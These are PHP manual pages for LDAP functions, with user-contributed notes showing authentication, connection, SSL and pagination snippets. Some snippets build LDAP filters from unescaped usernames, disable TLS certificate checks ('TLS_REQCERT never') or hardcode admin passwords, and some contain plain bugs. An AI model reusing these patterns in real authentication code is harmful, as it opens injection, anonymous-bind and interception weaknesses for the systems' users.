    $ldapbind = ldap_bind($ds, $username, $upasswd);

    if ($ldapbind)
        {print "Congratulations! $username is authenticated.";}
    else
        {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at 05-Apr-2005 10:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

    if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      echo "version 3<br>\n";
    } else {
      echo "version 2<br>\n";
    }
    echo "verification on '$ldap_server': ";

    // bind to ldap connection
    if(($bind=@ldap_bind($connect)) == false){
      print "bind:__FAILED__<br>\n";
      return false;
    }

    // search for user
    if (($res_id = ldap_search( $connect,
                                "dc=auto,dc=tuwien,dc=ac,dc=at",
                                "uid=$username")) == false) {
      print "failure: search in LDAP-tree failed<br>";
      return false;
    }

    if (ldap_count_entries($connect, $res_id) != 1) {
      print "failure: username $username found more than once<br>\n";
      return false;
    }

    if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
      print "failur: entry of searchresult couln't be fetched<br>\n";
      return false;
    }

    if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
      print "failure: user-dn coulnd't be fetched<br>\n";
      return false;
    }

    /* Authentifizierung des User */
    if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
      print "failure: username, password didn't match: $user_dn<br>\n";
      return false;
    }

    return true;
    @ldap_close($connect);
  } else {                                  // no conection to ldap server
    echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com 24-Feb-2005 01:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com 16-Feb-2005 08:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de 25-Nov-2004 08:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no 19-Oct-2004 05:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com 14-Jun-2004 08:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com 31-Dec-2003 05:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg 21-Nov-2002 10:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net 27-Sep-2002 08:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.
naujocke at nospam dot abacusii dot com 07-May-2002 06:27
One useful item when trying to bind to Novell's NDS LDAP servers.

If you are using NDS 8 and attempt to bind it will work with a partail context.

As an example if you full context is cn=user.ou=sales.ou=division.o=company
and you use as your authentication context cn=user.o=company it will work.

But you will be required to supply the full context to authenticate to an eDirectory based LDAP setup. Such as Netware 6 or eDirectory 8.5 or greater.

Also when using the wildcard * symbol in your object class. If you are not careful it is possible to dump the entire contents of your NDS tree into an array.
tpiper at pinnacle dot couk 26-Feb-2002 04:19
An example to help you authenticate against M$ Exchange, rather than use anonymous mode...

you will need to create an NT domain member (I've called it ldapquery) and give it search permission in the LDAP protocol settings in Exchange.

then:
$ds=ldap_connect ("<exchange server>");
$r=@ldap_bind($ds,"cn=ldapquery, o=<your organisation>, c=<your country>, ","<the password for ldapquery account>");

we've tested this on Exchange 5.5SP3.


Alias of ldap_unbind

  • « ldap_bind
  • ldap_compare »
  • PHP Manual
  • LDAP Functions
  • Alias of ldap_unbind

ldap_close

(PHP 4, PHP 5)

ldap_close — Alias of ldap_unbind()

Description

This function is an alias of: ldap_unbind().

User Contributed Notes

20-Jul-2001 08:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
    $info["cn"]="Roberto Celestino";
    $info["sn"]="Roberto";
    $info["mail"]="rcelestino@here.and.now";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
    //Close the link apointed by the identified $ds (get with ldap_connect)
    ldap_close($ds);

}
?>


Compare value of attribute found in entry specified with DN

  • « ldap_close
  • ldap_connect »
  • PHP Manual
  • LDAP Functions
  • Compare value of attribute found in entry specified with DN

ldap_compare

(PHP 4 >= 4.0.2, PHP 5)

ldap_compare — Compare value of attribute found in entry specified with DN

Description

mixed ldap_compare ( resource $link_identifier , string $dn , string $attribute , string $value )

Compare value of attribute with value of same attribute in an LDAP directory entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

attribute

The attribute name.

value

The compared value.

Return Values

Returns TRUE if value matches otherwise returns FALSE. Returns -1 on error.

Examples

The following example demonstrates how to check whether or not given password matches the one defined in DN specified entry.

Example #1 Complete example of password check

<?php

$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {

    // bind
    if (ldap_bind($ds)) {

        // prepare data
        $dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
        $value = "secretpassword";
        $attr = "password";

        // compare value
        $r=ldap_compare($ds, $dn, $attr, $value);

        if ($r === -1) {
            echo "Error: " . ldap_error($ds);
        } elseif ($r === true) {
            echo "Password correct.";
        } elseif ($r === false) {
            echo "Wrong guess! Password incorrect.";
        }

    } else {
        echo "Unable to bind to LDAP server.";
    }

    ldap_close($ds);

} else {
    echo "Unable to connect to LDAP server.";
}
?>

Notes

Warning

ldap_compare() can NOT be used to compare BINARY values!

User Contributed Notes

oudejans at zeelandnet dot nl 11-Apr-2005 02:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com 06-Aug-2004 07:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt; 31-Jan-2001 03:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au 26-Oct-2000 04:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.


Connect to an LDAP server

  • « ldap_compare
  • ldap_control_paged_result_response »
  • PHP Manual
  • LDAP Functions
  • Connect to an LDAP server

ldap_connect

(PHP 4, PHP 5)

ldap_connect — Connect to an LDAP server

Description

resource ldap_connect ([ string $hostname = NULL [, int $port = 389 ]] )

Establishes a connection to a LDAP server on a specified hostname and port.

Parameters

hostname

If you are using OpenLDAP 2.x.x you can specify a URL instead of the hostname. To use LDAP with SSL, compile OpenLDAP 2.x.x with SSL support, configure PHP with SSL, and set this parameter as ldaps://hostname/.

port

The port to connect to. Not used when using URLs.

Return Values

Returns a positive LDAP link identifier on success, or FALSE on error. When OpenLDAP 2.x.x is used, ldap_connect() will always return a resource as it does not actually connect but just initializes the connecting parameters. The actual connect happens with the next calls to ldap_* funcs, usually with ldap_bind().

If no arguments are specified then the link identifier of the already opened link will be returned.

Examples

Example #1 Example of connecting to LDAP server.

<?php

// LDAP variables
$ldaphost = "ldap.example.com";  // your ldap servers
$ldapport = 389;                 // your ldap server's port number

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost, $ldapport)
          or die("Could not connect to $ldaphost");

?>

Example #2 Example of connecting securely to LDAP server.

<?php

// make sure your host is the correct one
// that you issued your secure certificate to
$ldaphost = "ldaps://ldap.example.com/";

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost)
          or die("Could not connect to {$ldaphost}");

?>

See Also

  • ldap_bind() - Bind to LDAP directory

User Contributed Notes

nemanja at prolux-universal dot com 04-Sep-2014 08:00
If you don't want your PHP program to wait XXX seconds before giving up in a case when one of your corporate DC have failed, and since ldap_connect() does not have a mechanism to timeout on a user specified time, this is my workaround which shows excellent practical results.

===========================================================
function serviceping($host, $port=389, $timeout=1)
{
        $op = fsockopen($host, $port, $errno, $errstr, $timeout);
        if (!$op) return 0; //DC is N/A
    else {
    fclose($opanak); //explicitly close open socket connection
    return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');

// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
$dclist = gethostbynamel('domain.name');

foreach ($dclist as $k => $dc) if (serviceping($dc) == true) break; else $dc = 0;
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

if (!$dc) exit("NO DOMAIN CONTROLLERS AVAILABLE AT PRESENT, PLEASE TRY AGAIN LATER!"); //user being notified

//now, ldap_connect would certainly connect succesfully to DC tested previously and no timeout will occur
$ldapconn = ldap_connect($dc) or die("DC N/A, PLEASE TRY AGAIN LATER.");
===========================================================

Also with this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
ac dot russell at live dot com 25-Aug-2012 03:47
In order to connect to an ldap server via ssl I needed to use a certificate. For this to work the ldap admin sent me a .der file which I put into /etc/openldap/cacerts.
    cp ldap-server.der /etc/openldap/cacerts
That directory must be chmod 755. Then the following entries had to be in /etc/openldap/ldap.conf
    TLS_REQCERT   never
    TLS_CACERTDIR /etc/openldap/cacerts
"TLS_REQCERT never" should only be required if there is a self-signed certificate in the certificate chain.
verikono 11-Apr-2011 10:33
PHP:LDAP does not support persistent connections.
miki at qex dot cz 10-Mar-2010 01:51
I had terrible problems with "Unable to bind to server: Invalid credentials" error - everything seemed to be OK (login/pwd used in other apps).
Solved by adding domain to login (instead "username" I used "username@example.com").
mharting at micahtek dot com 02-Sep-2009 10:35
An addition to trying to setup failover. After doing the ldap_connect, do the ldap_bind.  If ldap_bind fails, use the command ldap_errno to get the error number.  If the error number is 81, that represents the server is down.  That is the only time we do a failover to our backup ldap server.

Another thing to consider is the error could be 49, then do
ldap_get_option($this->ds,LDAP_OPT_ERROR_NUMBER,$optErrorNumber);. This will return extended data and if the data code in that is 532 or 773, the bind failure will be caused by the password being expired and requiring a password update before the bind will succeed.
csnyder at fcny dot org 15-Apr-2009 06:35
It bears repeating (and the examples should probably be updated) that ldap_connect() doesn't actually test the connection to the specified ldap server. This is important if you're trying to build failover into your ldap-based authentication routine.

The only way to test the connection is to actually call ldap_bind( $ds, $username, $password ). But if that fails, is it because you have the wrong username/password or is it because the connection is down? As far as I can see there isn't any way to tell.

It seems that if ldap_bind() fails against your primary server, you have no choice but to try ldap_bind() with the same credentials against the backup. And yet, if your organization limits failed login attempts, a single bad password counts as two failed login attempts. Not good.

One possible workaround is to try an anonymous bind first:

<?php
// connect to primary
$ds = ldap_connect( 'ldap://10.0.0.7/' );
// note: $ds is always a resource even if primary is down

// try anonymous login to test connection
$anon = @ldap_bind( $ds );
if ( !$anon ) {
    // test failed, connect to failover host
    $ds = ldap_connect( 'ldap://10.0.0.8/' );
}
else {
    // test passed, unbind anonymous and reconnect to primary
    ldap_unbind( $ds );
    $ds = ldap_connect( 'ldap://10.0.0.7/' );
}

// now try a real login
$login = @ldap_bind( $ds, $username, $password );
?>

Note that this workaround relies on anonymous login being enabled, which may not always be the case. It's a little sad that there is no other way to test the connection. Hopefully this can be remedied in some future implementation of ldap_connect().
peter dot burden at gmail dot com 27-Jan-2009 01:40
The host name parameter can be a space separated list of host names. This means that the LDAP code will talk to a backup server if the main server is not operational. There will be a delay while the code times out trying to talk to the main server but things will still work. This is particularly useful with a typical Microsoft Active Directory setup of primary and backup domain controllers.
<?php
$ldaphost = "192.168.0.100 192.168.0.101";
$ldapconn = ldap_connect($ldaphost);
?>
geigers at binghamton dot edu 01-May-2008 10:04
If you have oci8 and are trying to use openldap for ldap you *may* run into a problem.  I have an Oracle database that I connect to from apache.  Oracle also has ldap libs which were taking precedence over the openldap libs.  This would cause a seg fault when calling ldap_connect with a uri style connect string; e.g. ldap_connect("ldaps://myldapserver.host");

After using gdb to debug a core dump and a lot of googling I found that the solution was to add an env-var to apachectl startup.

I am using Apache 2.2.8 with PHP 5.2.5 on RHEL.  I added:

LD_PRELOAD=/path/to/libldap.so
export LD_PRELOAD

in /usr/sbin/envvars which is read when apachectl starts.  You can read more on this here: http://www.mail-archive.com/php-bugs@lists.php.net/msg02201.html

Scott Geiger
bleathem at gmail dot com 27-Feb-2008 11:30
Everyone is posting about getting ldaps:// working in a WAMP/AD stack, I had a tough time finding how to get it going in RHEL 5.1 (w/ all stock rpms).  Good old strace did the trick and helped me find the problem...

Turns out php was looking for the CA file in /etc/pki/CA, and I didn't have the correct permissions on the folder.  chmod'ing it to 755 solved my "Can't contact LDAP server" message.
andreas dot a dot sandberg at gmail dot com 06-Jun-2007 02:28
Be careful when using ldap_connect with the sun client libraries that come bundled with solaris.   When specifyng the host with the ldap protocol, my connection failed and it took me a good day to trouble shoot.  ie. ldap_connect("ldap://somwhere.com");  Just remove the 'ldap://' and specify the host.   This was on Solaris 10 sparc.
vandervoord at planet dot nl 05-May-2007 03:22
The previous note concerning searching the whole AD tree works fully. Though you must be sure that the server you're authenticating/searching is a Global Catalog server. If not, connecting and binding will fail. Usually there is at least one Global Catalog server in your domain, so if the connect fails try another server it will work. The reason it works is that the Global Catalog server searches the whole domain as where the domain catalog only searches a given OU, offcourse this opposes a security threat as well :)...
allie at lsu dot edu 06-Mar-2007 11:23
I sure do wish there was some way I could get this information out to all programmers in the world about binding and searching MS AD.  This is the second time I was bit by the "I need to search the entire tree" problem.

For php (and apache auth_ldap ) you need to specify port 3268 when you want to search the entire tree.  Otherwise it will spit out the partial results error.

ldap_connect($server,3268);

I'm just fortunate enough to have won this same battle with apache searching the whole directory.  When I noticed our php application failing auth's for users, I was immediately able to fix the problem by adding this port specification (and the ldap_set_option($ldapserver, LDAP_OPT_REFERRALS, 0)  option).

I really hope this helps someone else before they pull all their hair out.  I know I miss mine.
elsint at yahoo dot com 21-Sep-2006 10:48
Be careful about the certificate's permission if you are using Windows.

Set certificates' permissions for everyone to Read and Read&Execute or you may get binding errors because of this.
baroque at citromail dot hu 05-Nov-2005 10:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
Srivathsa M 23-Jun-2005 12:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk 26-Apr-2005 12:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it 28-Sep-2004 12:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au) 29-Sep-2003 09:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
        additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
    $ldap_server = "ldaps://adserver.ad.com" ;
    $ldap_user   = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
    $ldap_pass   = "password" ;

    $ad = ldap_connect($ldap_server) ;
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
    $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

    return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr 24-Jul-2002 04:05
Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
24-Apr-2002 06:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637


Retrieve the LDAP pagination cookie

  • « ldap_connect
  • ldap_control_paged_result »
  • PHP Manual
  • LDAP Functions
  • Retrieve the LDAP pagination cookie

ldap_control_paged_result_response

(PHP 5 >= 5.4.0)

ldap_control_paged_result_response — Retrieve the LDAP pagination cookie

Description

bool ldap_control_paged_result_response ( resource $link , resource $result [, string &$cookie [, int &$estimated ]] )

Retrieve the pagination information send by the server.

Parameters

link

An LDAP link identifier, returned by ldap_connect().

result

cookie

An opaque structure sent by the server.

estimated

The estimated number of entries to retrieve.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_control_paged_result() - Send LDAP pagination control
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

There are no user contributed notes for this page.


Send LDAP pagination control

  • « ldap_control_paged_result_response
  • ldap_count_entries »
  • PHP Manual
  • LDAP Functions
  • Send LDAP pagination control

ldap_control_paged_result

(PHP 5 >= 5.4.0)

ldap_control_paged_result — Send LDAP pagination control

Description

bool ldap_control_paged_result ( resource $link , int $pagesize [, bool $iscritical = false [, string $cookie = "" ]] )

Enable LDAP pagination by sending the pagination control (page size, cookie...).

Parameters

link

An LDAP link identifier, returned by ldap_connect().

pagesize

The number of entries by page.

iscritical

Indicates whether the pagination is critical of not. If true and if the server doesn't support pagination, the search will return no result.

cookie

An opaque structure sent by the server (ldap_control_paged_result_response()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

The example below show the retrieval of the first page of a search paginated with one entry by page.

Example #1 LDAP pagination

<?php
     // $ds is a valid link identifier (see ldap_connect)
     ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     // enable pagination with a page size of 1.
     ldap_control_paged_result($ds, 1);

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     $info = ldap_get_entries($ds, $sr);

     echo $info['count'] . ' entries returned' . PHP_EOL;

The example below show the retrieval of all the result paginated with 100 entries by page.

Example #2 LDAP pagination

<?php
     // $ds is a valid link identifier (see ldap_connect)
     ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     // enable pagination with a page size of 100.
     $pageSize = 100;

     $cookie = '';
     do {
         ldap_control_paged_result($ds, $pageSize, true, $cookie);

         $result  = ldap_search($ds, $dn, $filter, $justthese);
         $entries = ldap_get_entries($ds, $result);

         foreach ($entries as $e) {
             echo $e['dn'] . PHP_EOL;
         }

         ldap_control_paged_result_response($ds, $result, $cookie);

     } while($cookie !== null && $cookie != '');

Notes

Note:

Pagination control is a LDAPv3 protocol feature.

See Also

  • ldap_control_paged_result_response() - Retrieve the LDAP pagination cookie
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

dublue at gmail dot com 09-Apr-2014 10:02
So how do you now sort the entire result? It appears you can't use ldap_sort as it uses the search resource which is within the loop.
Blizzz 22-Oct-2013 12:26
If you did a paged search operation and want to do any other read operation on LDAP, you need to reset it, otherwise you will experience LDAP errors (code 12, for instance).

<?php
…
ldap_control_paged_result($link, 0);
…
?>
jestertrance at hotmail dot com 07-Mar-2013 02:44
You may need to do an ldap_bind before running ldap_control_paged_result to get this to work:

$conn = ldap_connect("you_ip");
ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind("your_connection_info");
ldap_control_paged_result($conn, $pageSize, true, $cookie)

Without doing an ldap_bind, I kept getting the error "Critical extension is unavailable". I don't if this is standard knowledge, but knowing this would have saved me days of frustration.
etienne at lamaisondebarbie dot ch 01-May-2012 12:14
Paged results, as specified in the RFC 2696, does not allow to get over the server sizeLimit. The RFC clearly states "If the page size is greater than or equal to the sizeLimit value, the server should ignore the control as the request can be satisfied in a single page".
With OpenLDAP, you will not get more than the sizeLimit number of entries with paged results.
James 14-Apr-2012 09:56
I was able to get these functions to work successfully with Active Directory.  When I first tried it, ldap_search kept returning a Not Supported reply from the server.  I finally figured out that I needed to include

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

in my code, so that AD would let me page results.  Make sure you're using a compatible protocol.

Hope this note helps someone else.


Count the number of entries in a search

  • « ldap_control_paged_result
  • ldap_delete »
  • PHP Manual
  • LDAP Functions
  • Count the number of entries in a search

ldap_count_entries

(PHP 4, PHP 5)

ldap_count_entries — Count the number of entries in a search

Description

int ldap_count_entries ( resource $link_identifier , resource $result_identifier )

Returns the number of entries stored in the result of previous search operations.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

The internal LDAP result.

Return Values

Returns number of entries in the result or FALSE on error.

Examples

Example #1 ldap-count-entries() example

Retrieve number of entries in the result.

// $ds is a valid link identifier (see ldap_connect)

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     var_dump(ldap_count_entries($ds, $sr));

The above example will output something similar to:

     int(1)

User Contributed Notes

There are no user contributed notes for this page.


Delete an entry from a directory

  • « ldap_count_entries
  • ldap_dn2ufn »
  • PHP Manual
  • LDAP Functions
  • Delete an entry from a directory

ldap_delete

(PHP 4, PHP 5)

ldap_delete — Delete an entry from a directory

Description

bool ldap_delete ( resource $link_identifier , string $dn )

Deletes a particular entry in LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_add() - Add entries to LDAP directory

User Contributed Notes

gabriel at hrz dot uni-marburg dot de 14-May-2002 05:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
    if($recursive == false){
        return(ldap_delete($ds,$dn));
    }else{
        //searching for sub entries
        $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
        $info = ldap_get_entries($ds, $sr);
        for($i=0;$i<$info['count'];$i++){
            //deleting recursively sub entries
            $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
            if(!$result){
                //return result code, if delete fails
                return($result);
            }
        }
        return(ldap_delete($ds,$dn));
    }
}


Convert DN to User Friendly Naming format

  • « ldap_delete
  • ldap_err2str »
  • PHP Manual
  • LDAP Functions
  • Convert DN to User Friendly Naming format

ldap_dn2ufn

(PHP 4, PHP 5)

ldap_dn2ufn — Convert DN to User Friendly Naming format

Description

string ldap_dn2ufn ( string $dn )

Turns the specified dn, into a more user-friendly form, stripping off type names.

Parameters

dn

The distinguished name of an LDAP entity.

Return Values

Returns the user friendly name.

User Contributed Notes

naaina at gmail dot com 18-Feb-2005 01:18
